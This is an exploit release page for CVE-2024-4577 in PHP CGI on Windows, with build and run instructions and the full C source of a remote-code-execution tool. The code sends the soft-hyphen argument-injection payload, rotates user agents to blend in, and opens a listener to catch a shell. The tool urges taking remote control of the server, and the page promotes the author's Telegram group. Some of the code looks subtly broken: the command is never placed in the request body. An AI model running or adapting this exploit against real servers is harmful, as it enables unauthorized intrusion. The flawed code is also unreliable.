PHP CGI Remote Code Execution


Description

This is a proof-of-concept exploit for the CVE-2024-4577 vulnerability in PHP CGI versions 8.1, 8.2, and 8.3 running on Windows systems. This exploit demonstrates remote code execution (RCE) by targeting insecure PHP CGI configurations.

Author :

Byte Reaper :

Build :

    #  C:\Users\pc\Downloads\gcc\bin\gcc.exe .\exploit.c .\argparse.c -I"C:\Users\pc\Downloads\curl-8.14.1_2-win64-mingw\include" -L "C:\Users\pc\Downloads\curl-8.14.1_2-win64-mingw\lib" -lcurl -lws2_32 -o CVE-2024-4577

Run Exploit :

    # CVE-2024-4577.exe -u http://target/cgi-bin/php-cgi.exe 

    1- Listen Port : 
    # CVE-2024-4577.exe -u http://target/cgi-bin/php-cgi.exe  -p [PORT]

    2- Execute the command on the server :
    # CVE-2024-4577.exe -u http://target/cgi-bin/php-cgi.exe  -c "system(whoami)"

Exploit :

File: exploit.c — Size: 19,8 KB — Lines: 522

  
#include <time.h>
#include <stdio.h>
#include <curl/curl.h>
#include <stdlib.h>
#include <string.h>
#include "argparse.h"
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>

#pragma comment(lib, "ws2_32.lib")
void enable_ansi()
{
    HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);
    DWORD dwMode = 0;
    GetConsoleMode(hOut,
		&dwMode);
    SetConsoleMode(hOut,
		dwMode | ENABLE_VIRTUAL_TERMINAL_PROCESSING);
}

struct Mem 
{
    char *buffer;
    size_t len;
};
void logFIle(const char *console)
{
	FILE *f = fopen("CVE-2024-4577.log", "a");
	if (f == NULL)
	{
		
		printf("\e[1;31m[-] Error Open File (CVE-2024-4577.log)\n");
		exit(1);
	}
	time_t now = time(NULL);                      

    char *ts = ctime(&now);

    ts[strlen(ts) - 1] = '\0';
    fprintf(f,
		"[%s] %s\n",
		ts,
		console);
    fclose(f);
	
}
size_t write_cb(void *ptr,
    size_t size,
    size_t nmemb,
    void *userdata) 
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;

    char *tmp = realloc(m->buffer,
        m->len + total + 1);
    if (!tmp) return 0;

    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}
void ag(CURL *curl)
{
	const char *agents[] = 
	{
		"Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/12H321 Safari/600.1.4",
        "Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; rv:11.0) like Gecko",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36",
        "Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B410 Safari/600.1.4",
        "Mozilla/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53",
        "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36",
        "Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko",
        "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36",
        "Mozilla/5.0 (Windows NT 6.3; ARM; Trident/7.0; Touch; rv:11.0) like Gecko",
        "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36",
        "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0",
        "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MDDCJS; rv:11.0) like Gecko",
        "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0",
        "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36",
        "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0",
        "Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4",
        "Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFASWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36",
        "Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12H321 Safari/600.1.4",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36",
        "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:40.0) Gecko/20100101 Firefox/40.0",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0",
        "Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4",
        "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MATBJS; rv:11.0) like Gecko",
        "Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; KFJWI Build/IMM76D) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36",
        "Mozilla/5.0 (iPad; CPU OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D167 Safari/9537.53",
        "Mozilla/5.0 (X11; CrOS armv7l 7077.134.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.156 Safari/537.36",
        "Mozilla/5.0 (X11; Linux x86_64; rv:34.0) Gecko/20100101 Firefox/34.0",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36",
        "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) Gecko/20100101 Firefox/39.0",
	};
	static int cu = 0; 
    static int num = sizeof(agents) / sizeof(agents[0]);

    const char *to = agents[cu];
    cu = (cu + 1) % num;

    curl_easy_setopt(curl,
        CURLOPT_USERAGENT,
        to);
}


void sendPayload(const char *url,
	const char *command)
{
	printf("\e[1;35m[+] Try passing a reverse connection command to the server and specifying the port\n");
	printf("\e[1;35m[+] You will immediately get a reverse connection and a full session.\n");
	logFIle("\e[1;35m[+] Try passing a reverse connection command to the server and specifying the port\n");
	logFIle("\e[1;35m[+] You will immediately get a reverse connection and a full session.\n");
	CURL *curl = curl_easy_init();
	CURLcode res; 
	if (curl == NULL)
	{
		printf("\e[1;31m[-] Error Create Object CURL\n");
		logFIle("\e[1;31m[-] Error Create Object CURL\n");
		printf("[!] Please Check Your Connection !\n");
		logFIle("\e[1;31m[-] Please Check Your Connection !\n");
		exit(1);
	}
	struct Mem chunk = {NULL, 0};
	char *keywords[] = {
    "root",
    "error",
    "permission denied",
    "access denied",
    "not permitted",
    "operation not permitted",
    "authentication failed",
    "unauthorized",
    "access forbidden",
    "cannot open",
    "failed to open",
    "no such file or directory",
    "command not found",
    "not authorized",
    "permission failure",
    "access violation",
    "denied",
    "refused",
    "forbidden",
    "failed",
    "unable",
    "invalid",
    "restricted",
    "blocked",
    "not allowed",
    "security",
    "authentication required",
    "connection refused",
    "timeout",
    "segmentation fault",
    "core dumped",
    "segfault",
    "success",
    "completed",
    "done",
    "ok",
    "warning",
    "info",
    "logged in",
    "connected",
    "established",
    "running",
    "listening",
    "open",
    "ready",
    "accepted",
    NULL
	};
	char full[2048];
	char post[1024];
	long http  = 0;
	if (curl)
	{
		snprintf(post,
			sizeof(post),
			"", command);
		snprintf(full,
		sizeof(full),
		"%s?\xC2\xAD""d allow_url_include=1 -d auto_prepend_file=php://input",
		url);
		struct curl_slist *headers = NULL;
		headers = curl_slist_append(headers,
			"Content-Type: application/x-www-form-urlencoded");
		headers = curl_slist_append(headers,
			"Accept-Language: zh-CN,zh;q=0.9");
		headers = curl_slist_append(headers,
			"X-Requested-With: XMLHttpRequest");
		headers = curl_slist_append(headers,
			"Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7");
		headers = curl_slist_append(headers,
			"Accept-Encoding: gzip, deflate");
		headers = curl_slist_append(headers,
			"Referer: http://victim.local/cgi-bin/php-cgi.exe");

		headers = curl_slist_append(headers, 
			"Connection: close");
		headers = curl_slist_append(headers,
			"Cache-Control: no-cache");

		curl_easy_setopt(curl,
		CURLOPT_URL,
		full);
		curl_easy_setopt(curl,
			CURLOPT_HTTPHEADER,
			headers);
		ag(curl);
		curl_easy_setopt(curl,
		CURLOPT_POST,
		1L);
		//post for command php
		curl_easy_setopt(curl,
			CURLOPT_POSTFIELDS,
			post);
		curl_easy_setopt(curl,
			CURLOPT_WRITEFUNCTION,
			write_cb);
		curl_easy_setopt(curl,
			CURLOPT_WRITEDATA,
			&chunk);
		curl_easy_setopt(curl,
			CURLOPT_SSL_VERIFYPEER,
			0L);
		curl_easy_setopt(curl,
			CURLOPT_SSL_VERIFYHOST,
			0L); 
		res = curl_easy_perform(curl); 
		Sleep(500);
		if (res != CURLE_OK)
		{
			fprintf(stderr, "\e[1;31m[-] curl_easy_perform() failed: %s\n",
                curl_easy_strerror(res));
			logFIle("\e[1;31m[-] curl_easy_perform() failed");
			curl_slist_free_all(headers);

		}
		else 
		{
			curl_easy_getinfo(curl, 
				CURLINFO_RESPONSE_CODE,	
				&http); 
			printf("\e[1;34m[+] Request Send Success !!\n");
			logFIle("\e[1;34m[+] Request Send Success !!\n");
			int foundKey = 0;
			for (int k = 0; keywords[k] != NULL; k++)
			{
				if (strstr(chunk.buffer, keywords[k]) != NULL)
				{
					
					foundKey = 1;
					break;
				}
			}
			printf("\e[1;36m------------------------------Check Response Server------------------------------\n");
			if (foundKey)
			{
				printf("\e[1;33m[+] Warning: Suspicious server response detected indicating potential vulnerability CVE-2024-4577.\n");
				printf("\e[1;33m[!] Suggestion: Try passing a reverse connection command, specifying the port, and controlling the server remotely.\n");
				printf("\e[1;33m[!] This is the correct way to access the server.\n");
			}
			else 
			{
				printf("\e[1;31m[-] No suspicious patterns found in the server response, vulnerability CVE-2024-4577 not detected.\n");
				printf("\e[1;31m[!] Try to make sure that the link is correct and you can access it.\n");
			}	

			
            printf("\e[1;32m=> Http Code : %ld\n",
				http);		
			if (http == 200)
			{
				printf("\e[1;32m=> Http Code : 200\n");
				logFIle("\e[1;32m=> Http Code : 200\n");
				printf("\e[1;36m------------------------------Response Server------------------------------\n");
				printf("\e[1;33m[+] Response:\n%s\n",
					chunk.buffer);
				printf("\e[1;37m------------------------------------------------------------------------------------------------------------------------\n");

				curl_slist_free_all(headers);

			}
			else 
			{
				printf("\e[1;31m[-] Http Code Not 200 !\n");
				printf("\e[1;32m=> Http Code : %ld\n",
					http);
				printf("\e[1;33m[!] Please Check Your Connection on Server !\n");
				printf("\e[1;33m\e[1;33m[!] Exemple Command Check Access Connection : ping target.com\n");
				logFIle("\e[1;31m[-] Http Code Not 200 !\n");
				logFIle("\e[1;33m[!] Please Check Your Connection on Server !\n");
				logFIle("\e[1;33m[!] Exemple Command Check Access Connection : ping target.com\n");
				curl_slist_free_all(headers);
			}
			
		}
		free(chunk.buffer);	
		curl_easy_cleanup(curl);

	}
}
void shell(int port)
{	
	printf("\e[1;37m------------------------------------------------------------------------------------------------------------------------\n");
    printf("\e[1;36m[+] Port Select  : %d\n",
		port);
	WSADATA wsaData;
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
    {
        printf("\e[1;31m[-] WSAStartup failed\n");
		logFIle("\e[1;31m[-] WSAStartup failed\n");
        return;
    }

    SOCKET sock = socket(AF_INET,
    	SOCK_STREAM,
    	IPPROTO_TCP);
    if (sock == INVALID_SOCKET)
    {
        printf("\e[1;31m[-] Error Create Socket\n");
		logFIle("\e[1;31m[-] Error Create Socket\n");
        WSACleanup();
        return;
    }

    int opt = 1;
    if (setsockopt(sock,
		SOL_SOCKET,
		SO_REUSEADDR,
		(const char*)&opt,
		sizeof(opt)) == SOCKET_ERROR)
    {
        printf("\e[1;31m[-] Error setsockopt()\n");
		logFIle("\e[1;31m[-] Error setsockopt()\n");
        closesocket(sock);
        WSACleanup();
        return;
    }

    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr.s_addr = INADDR_ANY;

    if (bind(sock,
    	(struct sockaddr*)&addr,
    	sizeof(addr)) == SOCKET_ERROR)
    {
        printf("\e[1;31m[-] Error Bind shell on Port %d\n", port);
		logFIle("\e[1;31m[-] Error Bind shell on Port\n");
        closesocket(sock);
        WSACleanup();
        return;
    }

    if (listen(sock, 1) == SOCKET_ERROR)
    {
        printf("\e[1;31m[-] Error Listen on Port %d\n", port);
		logFIle("\e[1;31m[-] Error Listen on Port \n");
        closesocket(sock);
        WSACleanup();
        return;
    }
	Sleep(500);
    printf("\e[1;36m[+] Listening on port %d...\n",
    	port);
	logFIle("\e[1;36m[+] Listening on port\n");
    struct sockaddr_in client;
    int clientLen = sizeof(client);
    SOCKET clientfd = accept(sock, (struct sockaddr*)&client, &clientLen);
    if (clientfd == INVALID_SOCKET)
    {
        printf("\e[1;31m[-] Error Accept Connection\n");
		logFIle("\e[1;31m[-] Error Accept Connection\n");
        closesocket(sock);
        WSACleanup();
        return;
    }
	Sleep(1000);
    printf("\e[1;36m[+] Connection received from %s:%d\n",
		inet_ntoa(client.sin_addr),
		ntohs(client.sin_port));
	logFIle("\e[1;36m[+] Connection received Success !\n");
    STARTUPINFO si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = (HANDLE)clientfd;
    si.hStdOutput = (HANDLE)clientfd;
    si.hStdError = (HANDLE)clientfd;
    DWORD written = 0;
    HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
    
    if (!CreateProcess(NULL,
    	"C:\\Windows\\System32\\cmd.exe",
    	NULL,
    	NULL,
    	TRUE,
    	0,
    	NULL,
    	NULL,
    	&si,
    	&pi))
    {
        printf("\e[1;31m[-] Error launching cmd.exe\n");
		logFIle("\e[1;31m[-] Error launching cmd.exe\n");
        closesocket(clientfd);
        closesocket(sock);
        WSACleanup();
        return;
    }

    WaitForSingleObject(pi.hProcess,INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    closesocket(clientfd);
    closesocket(sock);
    WSACleanup();
}

int main(int argc, char *argv[])
{
	enable_ansi();
	SetConsoleOutputCP(CP_UTF8);
	printf(
		"\e[1;31m"
    	"\t\t\t\t____________{_________________________________\n"
    	"\t\t\t\t[XXXXXXXXXXX]________________________________/\n"
    	"      \t\t\t\t       CVE-2024-4577 && PHP-CGI RCE Exploit\n"
    	"\e[1;37m\t\t\t\t\t\t Byte Reaper\n"
	);
	printf("\n\e[1;35m[+] As usual, if anyone has any suggestions for developing the exploit or anything, they are welcome. This is my Telegram account.\n"); 
	printf("\e[1;35m[+] I am often active there. Also, welcome to my group.\n");
	printf("\e[1;37m==> Telegram : @ByteReaper0\n");
	printf("\e[1;37m==> Group : https://t.me/exploiterX0\n");
	printf("\e[1;34m=>> Happy exploiting !!\n");
	logFIle("\e[1;35m[+] As usual, if anyone has any suggestions for developing the exploit or anything, they are welcome. This is my Telegram account.\n");
	logFIle("\e[1;35m[+] I am often active there. Also, welcome to my group.\n");
	logFIle("\e[1;37m==> Telegram : @ByteReaper0\n");
	logFIle("\e[1;37m==> Telegram : @ByteReaper0\n");
	logFIle("\e[1;37m==> Group : https://t.me/exploiterX0\n");
	logFIle("\e[1;34m=>> Happy exploiting !!\n");
	printf("\e[1;37m------------------------------------------------------------------------------------------------------------------------\n");
	logFIle("\e[1;37m------------------------------------------------------------------------------------------------------------------------\n");
	printf("\e[1;34m[+] Create Log File Success (CVE-2024-4577.log)!\n");
	logFIle("\e[1;34m[+] Create Log File Success (CVE-2024-4577.log)!\n");
	printf("\e[1;36m[*] Starting CVE-2024-4577 Exploit...\n");
	logFIle("\e[1;36m[*] Starting CVE-2024-4577 Exploit...\n");
	const char *url = NULL;
	const char *command = NULL;
	int port = 0;
	struct argparse_option options[] = 
	{
		OPT_HELP(),
		OPT_STRING('u',
			"url",
			&url,
			"Enter Target URL PHP CGI"),
		OPT_STRING('c',
			"command",
			&command,
			"Enter Command to execute on server"),
		OPT_INTEGER('p',
			"port",
			&port,
			"Enter listen Port For Get shell bash"),
		OPT_END(),
	};
	struct argparse argparse;
	argparse_init(&argparse,
		options,
		NULL,
		0);
	argparse_parse(&argparse,
		argc,
		(const char**)argv);
	if (!url)
	{
		printf("\e[1;31m[-] Please Enter Target URL PHP CGI !\n");
		printf("\e[1;33m[!] Exemple : ./CVE-2024-457 -u http://victim.com/cgi-bin/php-cgi.exe\n");
		logFIle("\e[1;31m[-] Please Enter Target URL PHP CGI !\n");
		logFIle("\e[1;33m[!] Exemple : ./CVE-2024-457 -u http://victim.com/cgi-bin/php-cgi.exe\n");
		exit(1);
	}
	if (!command)
	{
		printf("\e[1;31m[-] Please Enter Command (Ex: system('whoami'))!\n");
		printf("\e[1;33m[!] Exemple : ./CVE-2024-457 -u http://victim.com/cgi-bin/php-cgi.exe -c \"system('whoami')\"\n");
		logFIle("\e[1;31m[-] Please Enter Command (Ex: system('whoami'))!\n");
		logFIle("\e[1;33m[!] Exemple : ./CVE-2024-457 -u http://victim.com/cgi-bin/php-cgi.exe -c \"system('whoami')\"\n");
		exit(1);
	}
	sendPayload(url,
		command);
	if (port)
	{
		shell(port);
	}
	
	return 0;
}
  
Download

References :

  • NVD : link
  • CVE : link